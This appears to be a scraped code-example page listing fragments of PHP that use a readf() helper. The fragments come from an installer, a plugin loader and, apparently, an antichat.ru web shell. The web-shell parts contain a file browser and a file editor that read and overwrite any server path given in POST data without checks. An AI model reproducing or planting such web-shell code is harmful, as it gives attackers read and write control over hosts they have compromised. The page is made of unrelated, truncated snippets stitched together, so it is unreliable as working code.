Ejemplo n.º 1
0
            $dbhost = trim(strip_tags($_POST['dbhost']));
            $dbuser = trim(strip_tags($_POST['dbuser']));
            $dbpw = trim(strip_tags($_POST['dbpw']));
            //初始化数据连接
            $link = @mysql_connect($dbhost, $dbuser, $dbpw);
            if ($link) {
                $query = mysql_query('show databases');
                $exists = 0;
                while ($databases = mysql_fetch_array($query)) {
                    $exi[] = $databases['Database'];
                }
                if (!in_array(trim(strip_tags($_POST['dbname'])), $exi)) {
                    echo "<script language='javascript'>alert('数据库不存在');window.location='index.php?step=3';</script>";
                    exit;
                } elseif (is_file('install.sql') && is_readable('install.sql')) {
                    $sql = readf('install.sql');
                    $config = <<<EOF
<?php
/*
\t[Phpup.Net!] (C)2009-2011 Phpup.net.
\tThis is NOT a freeware, use is subject to license terms

\t\$Id: config.inc.php 2010-08-24 10:42 \$
*/

if(!defined('IN_PROVERB')) {
\texit('Access Denied');
}
//数据库服务器
\$proverbdbhost="{dbhost}";
        $contents = fread($f, filesize($file));
        fclose($f);
        return htmlspecialchars($contents);
    }
    if (@$_POST['save']) {
        writef($file, $_POST['data']);
    }
    if (@$_POST['create']) {
        writef($file, "");
    }
    $test = test_file($file);
    if ($test == 1) {
        $content .= "<form method=\"POST\">\n\t<input type=\"hidden\" name=\"action\" value=\"editor\">\n\tFile name:<input type=\"text\" name=\"file\" value=\"" . $file . "\" size=\"50\"><br>\n\t<input type=\"submit\" name=\"create\" value=\"Create new file with this name?\">\n\t<input type=\"reset\" value=\"No\"></form>";
    }
    if ($test > 2) {
        $content .= "<form method=\"POST\">\n\t<input type=\"hidden\" name=\"action\" value=\"editor\">\n\t<input type=\"hidden\" name=\"file\" value=\"" . $file . "\">\n\t<textarea name=\"data\" rows=\"30\" cols=\"180\">" . @readf($file) . "</textarea><br>\n\t<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
    }
}
//viewer
if ($action == 'viewer') {
    $content .= "<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
    $content .= "<tr><td><form method=POST><br>Open directory:  <input type=text name=dir value=\"" . $dir . "\" size=50><input type=submit value=\">>\"></form>";
    if (is_dir($dir)) {
        if (@($dh = opendir($dir))) {
            while (($file = readdir($dh)) !== false) {
                if (filetype($dir . $file) == 'dir') {
                    $dire[] = $file;
                }
                if (filetype($dir . $file) == 'file') {
                    $files[] = $file;
                }
 function _getAllPlugins($plugisname = '')
 {
     $plugin = array();
     if ($plugisname) {
         $xmlfile = $this->pdir . '/' . $plugisname . '/phpup_plugin_' . $plugisname . '.xml';
         if (is_file($xmlfile)) {
             $plugin = XML_unserialize(readf($xmlfile), 'ISO-8859-1');
         }
     } else {
         $dir = scandir($this->pdir);
         foreach ($dir as $k => $v) {
             if ($v != '..' && $v != '.') {
                 $newdir = $this->pdir . '/' . $v;
                 $xmlfile = $newdir . '/phpup_plugin_' . $v . '.xml';
                 if (is_file($xmlfile)) {
                     $data = XML_unserialize(readf($xmlfile), 'ISO-8859-1');
                     $data = $data['root']['Data']['plugin'];
                     $plugin[] = array("pluginid" => 0, "available" => intval($data['available']), "adminid" => intval($data['adminid']), "name" => $data['name'], "identifier" => $data['identifier'], "description" => $data['description'], "datatables" => $data['datatables'], "directory" => $data['directory'], "copyright" => $data['copyright'], "modules" => serialize($data['modules']['item']), "version" => $data['version'], "isinstalled" => 0);
                 }
             }
         }
     }
     return $plugin;
 }
Ejemplo n.º 4
0
}
//end viewer FS

//editros
if($action=="editor"){  
  function writef($file,$data){
  $fp = fopen($file,"w+");
  fwrite($fp,$data);
  fclose($fp);
  }
  function readf($file){
  if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
  $contents = fread($le, filesize($file));
  fclose($le);}
  return htmlspecialchars($contents);
  }
if($_POST['save'])writef($file,$_POST['data']);
echo "<form method=\"POST\">
<input type=\"hidden\" name=\"action\" value=\"editor\">
<input type=\"hidden\" name=\"file\" value=\"".$file."\">
<textarea name=\"data\" rows=\"40\" cols=\"180\">".@readf($file)."</textarea><br>
<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
}
//end editors
?>
</td></tr></table><table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="http://antichat.ru">COPYRIGHT BY ANTICHAT.RU <?php 
echo $version;
?>
</a></td></tr></table></tr></td></table>
<? echo $footer;?>